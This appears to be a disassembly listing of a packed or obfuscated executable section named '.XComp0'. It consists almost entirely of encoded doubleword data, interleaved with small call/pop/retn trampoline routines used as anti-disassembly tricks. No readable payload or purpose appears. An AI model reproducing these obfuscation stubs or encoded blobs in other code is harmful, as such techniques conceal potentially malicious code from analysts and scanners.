		dd 0E80E25BEh, 81977CCBh, 0F83B1C6h, 4C1F63Ch, 0A4840Fh
		dd 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1D0424h
		dd 51410000h, 0A1A39CC3h, 834A1739h, 0FF3F132Ah, 0F9139195h
		dd 85BD8B05h, 8905F92Eh, 0F90DBD9Dh, 6A5B05h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 1D0424h, 50400000h, 9B33DAC3h
		dd 25CD8C6Bh, 0BEE4BDDBh, 5FF8A811h, 24A9BD23h,	0C32B05F9h
		dd 19A5BD2Bh, 343D05F9h, 0F000008h, 2986h, 57006A00h, 3E8h
		dd 0C35F2000h, 247C895Fh, 24448104h, 1704h, 0C3574700h
		dd 0E30F1DBAh, 0AE9h, 0FA0ABF00h, 0C08B63A1h, 8BFBBF0Fh
		dd 0FD88BC3h, 68Fh, 25EF8100h, 0C71AC0FAh, 0F91E7985h
		dd 3D837905h, 55006A57h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1804h, 0C3554500h, 44E34262h, 75BD8B91h, 8B05F925h
		dd 52006AC0h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1704h
		dd 0C3524200h, 0E19C0929h, 0BD815F57h, 5F90715h, 7D0h
		dd 41850Fh, 6A0000h, 3E852h, 5A200000h,	54895AC3h, 44810424h
		dd 160424h, 52420000h, 0CCFB33C3h, 2F099531h, 85FF05F9h
		dd 5F90715h, 0BE8h, 0F6781600h,	25E66C73h, 417ADE66h, 0BFB3C781h
		dd 0FF5E3488h, 0F90715B5h, 51006A05h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1504h,	0C3514100h, 8166E7E5h
		dd 0FF2CA9CEh, 0F91AED95h, 57006A05h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1704h,	0C3574700h, 353668CCh
		dd 12E9h, 6EE83B00h, 0F5E5ED98h, 3C07BC33h, 80B9E1A8h
		dd 9065C314h, 0E857006Ah, 3, 5FC35F20h,	4247C89h, 4244481h
		dd 15h,	0ECC35747h, 60FA8B32h, 1E49BD89h, 0C28005F9h, 0EBCE81FCh
		dd 61795D44h, 2AF18D89h, 0FE8B05F9h, 8BF18B66h,	0F90E15B5h
		dd 55006A05h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1604h
		dd 0C3554500h, 6ACE96A6h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 17042444h, 43000000h, 0D0C2C353h,	0CE9A2E4h
		dd 8000000h, 0D5FAC594h, 0F178A726h, 8B720987h,	0F92BD1BDh
		dd 0FB8B6605h, 6AF18B66h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 1A042444h, 47000000h, 1016C357h, 68DAE5Eh
		dd 53006A13h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1904h
		dd 0C3534300h, 0F65FF8B3h, 6E93DD8h, 0AC000000h, 73291B37h
		dd 8D958989h, 6605F907h, 9D01F38Bh, 5F90C79h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 14h, 0ABC35242h, 60F28B66h
		dd 140DBD09h, 958B05F9h, 5F932DDh, 0F793E961h, 6AFFFFh
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 1C0424h, 50400000h
		dd 4D1A3C3h, 0F27D6044h, 0C18B2AE0h, 4EBh, 6A0000h, 3E856h
		dd 5E200000h, 74895EC3h, 44810424h, 1A0424h, 56460000h
		dd 4AD4EEC3h, 4AB20722h, 1F4D8D89h, 0B58B05F9h,	5F92279h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 16h, 45C35141h
		dd 858D67CAh, 5F90DC1h,	0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 1Dh, 0FAC35646h, 44483605h, 0B6BA3464h, 66509066h
		dd 3190F18Bh, 0F920CD95h, 8B006A05h, 0F90049B5h, 0F7816605h
		dd 6A9F6Ch, 0E855006Ah,	3, 5DC35D20h, 4246C89h,	4244481h
		dd 1Bh,	7EC35545h, 79C79277h, 0F2928E6h, 585h, 0E6816600h
		dd 858D6530h, 5FD4150h,	9D896056h, 5F90489h, 59BCB866h
		dd 0C0835E61h, 55B58B05h, 9005F910h, 90FE8B50h,	0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 1Ch, 2C35141h, 0E3BC2FFCh
		dd 4AA6E01Eh, 0B2CBF681h, 6A1551h, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 1Ah, 9BC35242h, 41C9AA38h, 6A8D4Ah
		dd 21058D89h, 95FF05F9h, 5F913EDh, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 17h, 99C35141h, 6659E2CEh, 9D8DF78Bh
		dd 5FCE983h, 2E79BD8Bh,	0D3FF05F9h, 0FFFA8B66h,	0F9197D85h
		dd 0EE905h, 9D680000h, 0FE88F876h, 0E7C01150h, 0B287548Bh
		dd 884E9FCh, 0E80000h, 5D000000h, 415AED81h, 6A05FDh, 3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 140424h, 57470000h
		dd 0BD8111C3h, 5F90715h, 7D0h, 0E8860Fh, 0BE660000h, 9D8B2257h
		dd 5F90FA1h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 14h,	0D7C35040h, 0E381FCh, 6A000001h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 14042444h, 46000000h, 896EC356h
		dd 0F917D9B5h, 0FDB0B05h, 5385h, 49B52900h, 8305F935h
		dd 0FD3FC1BDh, 840F0005h, 23h, 45E9h, 56006A00h, 3E8h
		dd 0C35E2000h, 2474895Eh, 24448104h, 1604h, 0C3564600h
		dd 0C7AFF272h, 0FD3FC185h, 105h, 8D8B6000h, 5F9311Dh, 6ACB8166h
		dd 0BE961F6h, 0F8000000h, 3FC185C7h, 5FDh, 9D8D0000h, 5F90FA1h
		dd 8FA1BF66h, 0FEFF2381h, 6AFFFFh, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 160424h, 56460000h, 255752C3h, 2ACD9D89h
		dd 8C6605F9h, 0FFB70FDBh, 0F04C3F6h, 7884h, 55B52B00h
		dd 0FF05F911h, 0F9139195h, 11E86005h, 0CF000000h, 0FEBAACAEh
		dd 0CD804892h, 0C065C51h, 49C127CCh, 0CE9h, 6FE2FC00h
		dd 0DDB5FFDBh, 0B8B469DAh, 11E95ACFh, 88000000h, 9D666292h
		dd 5EED33D4h, 94C217E1h, 28ADF5D7h, 0CCBF9061h,	5030E21Eh
		dd 6E9h, 8B6B7800h, 90BB66A8h, 13820Fh,	0E9600000h, 0Ch
		dd 0B36144B3h, 9FA3F2BEh, 0A64BD1E0h, 4B9E961h,	6A0000h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 150424h, 51410000h
		dd 0E8C734C3h, 8, 0E71FD7EEh, 31BB9530h, 8E9h, 0B0877200h
		dd 33D792A7h, 0B05F06h,	0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 17h, 71C35141h, 0F8CBB28Eh, 8E9h, 9F51B00h
		dd 0A22EDA90h, 6A70E6D2h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 1B042444h, 41000000h, 8E55C351h, 2874B18Eh
		dd 0BE6674B7h, 0AE91BE8h, 8000000h, 0CEEB4732h,	1C1EA7DCh
		dd 8171E4DDh, 555AE4CFh, 0D8B60F70h, 1A81BD8Bh,	6BA05F9h
		dd 6A000000h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 1A042444h, 42000000h, 6020C352h, 2E0DB1B9h, 0C9B58BD3h
		dd 8B05F903h, 18A0FC3h,	0FC000000h, 6A04E8C1h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 1B042444h, 43000000h
		dd 22DC353h, 0F3C8B28Dh, 6E8B24Ch, 4B000000h, 1CE195B6h
		dd 0A9BD2B2Eh, 5E05F934h, 6AE2F766h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 16042444h, 43000000h, 0D317C353h
		dd 0C68166C0h, 8F0FBF5Ah, 3, 0F5FB8B66h, 6AD82Bh, 3E855h
		dd 5D200000h, 6C895DC3h, 44810424h, 1D0424h, 55450000h
		dd 81B910C3h, 431F5343h, 938B24D1h, 0EE9h, 7F03F400h, 34396C1Ch
		dd 0DDDC2C39h, 5038083Bh, 48F0Fh, 50520000h, 66935E5Fh
		dd 0B5FFFB8Bh, 5F90715h, 0E853006Ah, 3,	5BC35B20h, 4245C89h
		dd 4244481h, 14h, 0A0C35343h, 1B58BF9h,	0FF05F907h, 0F91AED95h
		dd 0FABF0F05h, 21A9BD01h, 0B005F9h, 0C2EE8166h,	5FFC57B4h
		dd 12E870E6h, 96000000h, 0E102796Bh, 626F293h, 22395226h
		dd 0CD429C54h, 6E98Bh, 40650000h, 0C32A9319h, 3C71E45Fh
		dd 0B0830F61h, 1000002h, 0F931558Dh, 0D8B60F05h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Ah, 0D4C35545h, 16E0EE02h
		dd 0BAF90F42h, 6, 75BD8B52h, 5E05F917h,	6AC38Bh, 3E853h
		dd 5B200000h, 5C895BC3h, 44810424h, 150424h, 53430000h
		dd 296A71C3h, 0F916F985h, 4E8C105h, 5E9h, 0E4738E00h, 0F766E927h
		dd 9BBE66E2h, 8BD82B92h, 0F91811B5h, 0C6816605h, 6A588F31h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 15042444h
		dd 46000000h, 0B83DC356h, 0BD8B6060h, 5F91ECDh,	12699D29h
		dd 0E86105F9h, 0Bh, 8EFD5262h, 7841E7E6h, 0E836ED7Bh, 5
		dd 0ED165585h, 615F5FE3h, 880FD82Bh, 1DFh, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 15h, 6AC35747h, 0F0BF0F10h
		dd 7B9h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1704h, 0C3564600h, 0A5BF7397h, 0B5BD8B52h, 5F05F925h
		dd 14E8h, 0DC4E3800h, 24765127h, 0F66F47F6h, 2F40ABA8h
		dd 0AB4DED30h, 10E9F7h,	45F40000h, 6ADF1E28h, 0B867BE4Eh
		dd 9FAA3E88h, 835E1DA1h, 6A00C1h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 160424h, 50400000h, 0B1B73BC3h, 12E9h, 436E5500h
		dd 4A65B316h, 7AE5D049h, 0AB380206h, 3BA43070h,	24860FD9h
		dd 6A000001h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 19042444h, 43000000h, 7E61C353h, 0DC358639h,	6AD98C66h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 14042444h
		dd 47000000h, 668AC357h, 0C1F6F88Bh, 0B2840F04h, 50000000h
		dd 318D8B60h, 8B05F933h, 0F91AE59Dh, 0FF5E6105h, 0F9139195h
		dd 5BF28B05h, 0E850006Ah, 3, 58C35820h,	4244489h, 4244481h
		dd 1Ah,	77C35040h, 3A957964h, 0B70F9AFFh, 6AC32BF0h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 14042444h, 41000000h
		dd 0E974C351h, 0Eh, 745243CAh, 0D68543B3h, 55F9F58Bh, 343DBE12h
		dd 0F000008h, 3886h, 56006A00h,	3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1404h, 0C3564600h, 0D5B58BFFh, 0F05F912h
		dd 582h, 8274BF00h, 2CE95634h, 89000000h, 0F90A61B5h, 6AC08B05h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 1A042444h
		dd 41000000h, 445EC351h, 0BA5400A2h, 8BF28BD6h,	89D88BC3h
		dd 0F90DDDB5h, 0B985C705h, 5905F90Ch, 6A50BB9Dh, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 1D042444h, 43000000h
		dd 107C353h, 3299BF77h,	724ED64Eh, 0B58B6060h, 5F932D1h
		dd 8161CB8Bh, 41336CBh,	0B58B611Eh, 5F93149h, 13E9C08Bh
		dd 1F000000h, 0C1142E74h, 0ABEB52B8h, 0BA4C5BA5h, 0CA17B91Eh
		dd 0BD81C351h, 5F90715h, 7D0h, 42850Fh,	0CF810000h, 4E0D08C3h
		dd 71585FFh, 6A05F9h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 160424h, 53430000h, 0B3D5C9C3h, 0CE8h, 2B94300h, 1108AAA1h
		dd 3B5CD4E8h, 0C98D0969h, 5E05F904h, 715B5FFh, 11E805F9h
		dd 0E2000000h, 177FC4CFh, 748EDB40h, 0BDF2E84Fh, 9AB52A75h
		dd 199589h, 0FF5F05F9h,	0F91AED95h, 53006A05h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1D04h,	0C3534300h, 35E70A6Bh
		dd 7B9E0E03h, 8B66D39Bh, 0FE8B90F8h, 3301B529h,	6A05F9h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1D0424h, 51410000h
		dd 586916C3h, 0E0978807h, 6A0D5459h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 14042444h, 47000000h, 2914C357h
		dd 0F932F5BDh, 6830F05h, 8B000000h, 0F91F5DBDh,	168A0F05h
		dd 33000000h, 0F907FDBDh, 61606005h, 29B5858Bh,	858905F9h
		dd 5F92511h, 51006A61h,	3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1404h, 0C3514100h, 13E9FC91h, 0EB000000h, 0F1635387h
		dd 456AE418h, 0D1503E8Eh, 7631F31Bh, 0BD8934C4h, 5F92B4Dh
		dd 1FCD8589h, 0B53305F9h, 5F90C4Dh, 169B503h, 6A05F9h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1A0424h, 55450000h
		dd 5CF9AAC3h, 5740C2Eh,	13E8h, 0B2F9B800h, 0BF6409Ch, 9D0DE604h
		dd 90BE6149h, 79425039h, 2AF1B533h, 0E95F05F9h,	0FFFFF782h
		dd 2089BD89h, 0C18B05F9h, 1665BD03h, 4EB05F9h, 0
; ---------------------------------------------------------------------------
		xor	si, 205Ch
		push	0
		push	ebx
		call	sub_5AFFE4
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5AFFE4	proc near		; CODE XREF: .XComp0:005AFFDCp

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 1Dh
		inc	ebx
		push	ebx
		retn
sub_5AFFE4	endp

; ---------------------------------------------------------------------------
		dd 0CF96D910h, 2BF9AA8h, 8D290677h, 5F90CBDh, 2949B589h
		dd 858D05F9h, 5F90DC1h,	0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 1Ah, 24C35040h, 43AB19A8h,	0B58BA37Dh, 5F90385h
		dd 0BF665790h, 505F0313h, 90FB8B66h, 6919589h, 6A05F9h
		dd 246D9501h, 6A05F9h, 16599D89h, 858D05F9h, 5FD4B1Dh
		dd 6A05C083h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 19042444h, 43000000h, 92FBC353h, 5C930BC3h, 0A5B529h
		dd 509005F9h, 0ADB52B90h, 6A05F905h, 53006A00h,	3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1804h,	0C3534300h, 6DE194C4h
		dd 947FBE83h, 6A1405h, 2E39BD8Bh, 95FF05F9h, 5F913EDh
		dd 18198D29h, 0F08B05F9h, 0E9839D8Dh, 6A05FCh, 3E852h
		dd 5A200000h, 54895AC3h, 44810424h, 180424h, 52420000h
		dd 71688DC3h, 0BD89B725h, 5F92661h, 0E3BED3FFh,	0FF36C06Eh
		dd 0F9197D85h, 68E9F805h, 0E8000007h, 0
; ---------------------------------------------------------------------------
		pop	ebp
		sub	ebp, 5FD4B27h
		push	0
		push	ecx
		call	sub_5B0126
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B0126	proc near		; CODE XREF: .XComp0:005B011Ep

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 1Ch
		inc	ecx
		push	ecx
		retn
sub_5B0126	endp

; ---------------------------------------------------------------------------
		dw 0BFF7h
		dd 91CD4019h, 89B5B065h, 0F907B985h, 15BD8105h,	0D005F907h
		dd 0F000007h, 1A786h, 50006A00h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1A04h, 0C3504000h, 0E0D3B71Dh, 0B5D3EC5h
		dd 0F90149BDh, 0E99D8B05h, 6A05F90Ah, 3E85000h,	20000000h
		dd 8958C358h, 81042444h, 1B042444h, 40000000h, 7324C350h
		dd 0D6AE591Ah, 0BF0FBE6Eh, 0E381F9h, 6A000001h,	3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 14042444h, 45000000h
		dd 0E86CC355h, 10h, 0E6904A4h, 18D02664h, 9A6E7A7Dh, 0A3A39605h
		dd 5EF1B70Fh, 850FDB0Bh, 7Dh, 49E3BD83h, 0F0005FDh, 3984h
		dd 50006A00h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1404h
		dd 0C3504000h, 1038BF8Fh, 8E9198Ch, 0F2000000h,	2F1D9AD6h
		dd 0E9212437h, 6Dh, 24A18D89h, 85C705F9h, 5FD49E3h, 1
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Ah, 0D4C35141h
		dd 0CBAD56BCh, 36E9B583h, 8B000000h, 0F90621BDh, 0E385C705h
		dd 5FD49h, 6A000000h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 18042444h, 43000000h, 4328C353h, 2969D768h, 0F90C4D9Dh
		dd 0E99D8D05h, 6A05F90Ah, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 1A042444h, 40000000h, 82EAC350h, 0E55BDC02h
		dd 5800F53h, 0BF000000h, 596A63FFh, 1327E681h, 23816DFBh
		dd 0FFFFFEFFh, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 1Ch,	0B3C35040h, 752C8061h, 0BF2388A3h, 66DB8C66h, 0F643BFBFh
		dd 840F04C3h, 34h, 0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 16h, 0CC35545h, 95FFD0B6h,	5F91391h, 0B5D9D89h
		dd 665005F9h, 892371BFh, 0F88B2404h, 332E9h, 4850F00h
		dd 66000000h, 0B0789CBFh, 79B58B00h, 0E605F92Eh, 4800F70h
		dd 66000000h, 0F5A548BEh, 8B6671E4h, 0D8B60FF2h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 1Dh, 0DC35242h, 0E10109E4h
		dd 0B43F5A50h, 6BAA6h, 6A0000h,	3E853h,	5B200000h, 5C895BC3h
		dd 44810424h, 170424h, 53430000h, 0ED851C3h, 29B52325h
		dd 8B05F92Bh, 56006AC3h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1604h, 0C3564600h, 89DBD8F4h, 0F92B119Dh, 4E8C105h
		dd 9F1BD8Bh, 0F76605F9h, 6AD82BE2h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 14042444h, 46000000h, 50B6C356h
		dd 0FE9h, 7247A300h, 9B990663h,	98EB69h, 0ABABE1AAh, 0FF241C89h
		dd 0F90715B5h, 52006A05h, 3E8h,	0C35A2000h, 2454895Ah
		dd 24448104h, 1404h, 0C3524200h, 91B5038Eh, 0FF05F932h
		dd 0F91AED95h, 52006A05h, 3E8h,	0C35A2000h, 2454895Ah
		dd 24448104h, 1904h, 0C3524200h, 0E042A12Ah, 0B06F5Ah
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 16h, 0FEC35646h
		dd 8E0F08A6h, 6, 25C19529h, 70E605F9h, 0E4F08B66h, 50006A71h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1C04h, 0C3504000h
		dd 0F04DD021h, 0C69F1974h, 0BD9D09EBh, 3C05F927h, 0A0830F61h
		dd 6A000001h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 15042444h, 42000000h, 8781C352h, 0F1B52B60h,	0FC05F913h
		dd 0D8B60F61h, 6BAF38Bh, 29000000h, 0F910698Dh,	81C38B05h
		dd 43B77BC6h, 4E8C171h,	565BD8Bh, 0F76605F9h, 0D82BF5E2h
		dd 8F0F58F5h, 1, 0FD82BFCh, 14288h, 52006A00h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1B04h,	0C3524200h, 0DBBB0791h
		dd 3AFD267Bh, 1929B58Bh, 7B905F9h, 6A000000h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 18042444h, 45000000h
		dd 4A64C355h, 0F93D5552h, 6A00C183h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 19042444h, 46000000h, 2F07C356h
		dd 0B02ACE51h, 2EDDB589h, 0D93B05F9h, 0C1860Fh,	85890000h
		dd 5F92615h, 6AD98C66h,	3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 1A042444h, 42000000h, 412DC352h, 37AFE646h
		dd 4C1F6A4h, 83840Fh, 0EE90000h, 0DA000000h, 9B4813CDh
		dd 0B169D12Eh, 8E253EDDh, 9195FFDEh, 8905F913h,	0F91469BDh
		dd 0A19D8905h, 5B05F91Ah, 2BF7BF0Fh, 55006AC3h,	3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1504h,	0C3554500h, 8B66B3E0h
		dd 8343DF9h, 860F0000h,	2Dh, 4DB2BE66h,	2EE9h, 53006A00h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1604h, 0C3534300h
		dd 894D64CBh, 0F924119Dh, 52C08B05h, 0D95BD8Bh,	8B5E05F9h
		dd 6AD88BC3h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 15042444h, 41000000h, 17D4C351h, 19498D29h, 0F38B05F9h
		dd 0FA185C7h, 919105F9h, 6A19DBh, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 1A0424h, 55450000h, 0C1712CC3h, 0DAA9A173h
		dd 3CDB589h, 0BF6605F9h, 0C08B6105h, 18D0Fh, 81F50000h
		dd 0F90715BDh, 7D005h, 0C850F00h, 0FF000000h, 0F9071585h
		dd 0A9858905h, 0FF05F934h, 0F90715B5h, 0FF5E5305h, 0F91AED95h
		dd 358D3105h, 9005F913h, 0E850006Ah, 3,	58C35820h, 4244489h
		dd 4244481h, 1Bh, 96C35040h, 0BF9AA8CFh, 66067702h, 8D89F08Bh
		dd 5F915CDh, 2A059589h,	0B58905F9h, 5F914D1h, 66FA8B66h
		dd 52008DBEh, 14E8h, 90D36700h,	0C1385824h, 540FB874h
		dd 50D0AE2Bh, 900DABD3h, 0E4BF665Eh, 0D1B58BD6h, 5E05F919h
		dd 820F515Eh, 9, 89F1B70Fh, 0F92DE985h,	0F08B6605h, 58B0F5Fh
		dd 0BF000000h, 2F06C8C6h, 0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 1Ah, 7BC35242h, 0CAF2AFBBh, 6A41AEh, 3E856h
		dd 5E200000h, 74895EC3h, 44810424h, 170424h, 56460000h
		dd 6FA763C3h, 0AD9D0156h, 0BE05F905h, 48D8B6D9h, 6E8h
		dd 46339700h, 8B8EC570h, 0F913C5B5h, 91958905h,	5E05F906h
		dd 0EF816656h, 815F1F06h, 0D87C36F7h, 6AFC7Dh, 3E851h
		dd 59200000h, 4C8959C3h, 44810424h, 170424h, 51410000h
		dd 8FF74AC3h, 0CE86Ah, 23540000h, 70E2AF2Bh, 9C5C2761h
		dd 0BE6628CAh, 895FD29Fh, 0F925FD95h, 0F8C9E905h, 6AFFFFh
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 190424h, 50400000h
		dd 1C3C3BC3h, 0F95FB17Bh, 0E9F6BF0Fh, 7, 234E89C9h, 8B75FA65h
		dd 52006AC1h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1704h
		dd 0C3524200h, 6E98D91Ah, 4EBh,	8D890000h, 5F927C5h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 15h, 9BC35343h, 3830F69h
		dd 0F000000h, 858DF0BFh, 5F90DC1h, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 18h, 8AC35242h, 5E01BC15h, 2225B533h
		dd 0E95005F9h, 0Eh, 834CF2D1h, 0D0919E04h, 0F152AE9Dh
		dd 48989F9h, 60D3BE24h,	6A105Bh, 2681B589h, 0BF0F05F9h
		dd 31006AF2h, 0F9164D95h, 0C1BE6605h, 3858D56h,	6A05FD54h
		dd 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 1A042444h, 40000000h, 890EC350h
		dd 0EC67A255h, 49B58BA4h, 6605F931h, 7C34EF81h,	2905C083h
		dd 0F9178185h, 0F505005h, 84h, 4895E00h, 8D9D8924h, 6A05F910h
		dd 0F4BF6600h, 29006ABEh, 0F9176D8Dh, 0ED95FF05h, 6A05F913h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 15042444h
		dd 41000000h, 1582C351h, 0FF78B66h, 68Ah, 0BD9D8900h, 8D05F906h
		dd 0FCE9839Dh, 0BD8B6005h, 5F93315h, 0EE9h, 0D2BBE000h
		dd 9137F2EAh, 839D4F4Fh, 619C1E27h, 1CBFD3FFh, 0FF1C89A0h
		dd 0F9197D85h, 5E805h, 0BE0B0000h, 5E72F59Ah, 788E9h, 0E800h
		dd 815D0000h, 0FD540DEDh, 0FFBF0F05h, 87D9D89h,	0BD8105F9h
		dd 5F90715h, 7D0h, 100860Fh, 8BF80000h,	0F92B259Dh, 45B58905h
		dd 8105F90Ch, 100E3h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1904h, 0C3524200h, 47155702h, 0F98B0544h
		dd 850FDB0Bh, 5Ch, 820Fh, 0BD830000h, 5FD52ADh,	31840F00h
		dd 66000000h, 8BBCEFBEh, 0F924C1B5h, 47E905h, 6A0000h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 140424h, 52420000h
		dd 0B58BAFC3h, 5F91F15h, 52AD85C7h, 105FDh, 0B70F0000h
		dd 13E9F1h, 8D290000h, 5F93481h, 52AD85C7h, 5FDh, 0B70F0000h
		dd 259D8DF2h, 6A05F92Bh, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 1D042444h, 40000000h, 5F73C350h, 0FA7FB11Bh
		dd 0FCEDCA7h, 81F98B66h, 0FFFEFF23h, 55006AFFh,	3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1804h,	0C3554500h, 0F6103E4Eh
		dd 0DE81665Bh, 8C66A6FBh, 55006ADBh, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1504h,	0C3554500h, 0C3F608B3h
		dd 1B840F04h, 0F000000h, 95FFFEB7h, 5F91391h, 29E5BD09h
		dd 509005F9h, 0FB8B6690h, 2605BD8Bh, 1CE905F9h,	6A000004h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 15042444h
		dd 45000000h, 1FAC355h,	18820Fh, 820F0000h, 12h, 0CE8h
		dd 92E23100h, 4D9F6644h, 46CD5FD5h, 0B05E7Ah, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 14h, 6C35343h, 71E470E6h
		dd 331DB58Bh, 0B60F05F9h, 0D68166D8h, 0C4BF8967h, 0BA1B266Ah
		dd 6, 1E15B58Bh, 0CF8105F9h, 4945A7Fh, 6AC38Bh,	3E851h
		dd 59200000h, 4C8959C3h, 44810424h, 160424h, 51410000h
		dd 67DCCC3h, 2DED9D09h,	0BF0F05F9h, 4E8C1F8h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 1Ah, 25C35646h, 0CAF06344h
		dd 0F7668A24h, 51006AE2h, 3E8h,	0C3592000h, 244C8959h
		dd 24448104h, 1704h, 0C3514100h, 0F182738Ch, 14E8h, 0C116400h
		dd 1CB7C0C1h, 8EFA3424h, 89E96765h, 832C86AEh, 219D0924h
		dd 5E05F929h, 33319D89h, 0D82B05F9h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 17h, 18C35646h, 0E9F4F9D2h, 13h
		dd 22E5087Eh, 0ED6C3048h, 1E185B11h, 3A83DA0Fh,	0E994B9DDh
		dd 0Ch,	0E4830A4h, 0F66D92D5h, 980B8ADEh, 0E9525050h, 5
		dd 0ABE8EEDAh, 60310F00h, 707BB866h, 89585A61h,	0B503241Ch
		dd 5F92A65h, 715B5FFh, 6A05F9h,	3E852h,	5A200000h, 54895AC3h
		dd 44810424h, 1A0424h, 52420000h, 7EC1E2C3h, 49B76399h
		dd 1AED95FFh, 0BF6605F9h, 0B00CBCh, 0E855006Ah,	3, 5DC35D20h
		dd 4246C89h, 4244481h, 1Bh, 8BC35545h, 3E9C1084h, 33CEF56h
		dd 0F90DE5B5h, 2970E605h, 0F910BD85h, 71E4FC05h, 830F613Ch
		dd 22Bh, 0D8B60FF8h, 0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 15h, 8CC35141h, 6BAEBh, 6A0000h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 160424h, 57470000h, 8F0C97C3h
		dd 4BD9D29h, 8BF805F9h,	0FBB70FC3h, 6A04E8C1h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 18042444h, 40000000h
		dd 0C114C350h, 66EB52B8h, 0F60E2F7h, 68Eh, 0D9BD8900h
		dd 2B05F912h, 0F92111BDh, 85016105h, 5F9079Dh, 6AD82Bh
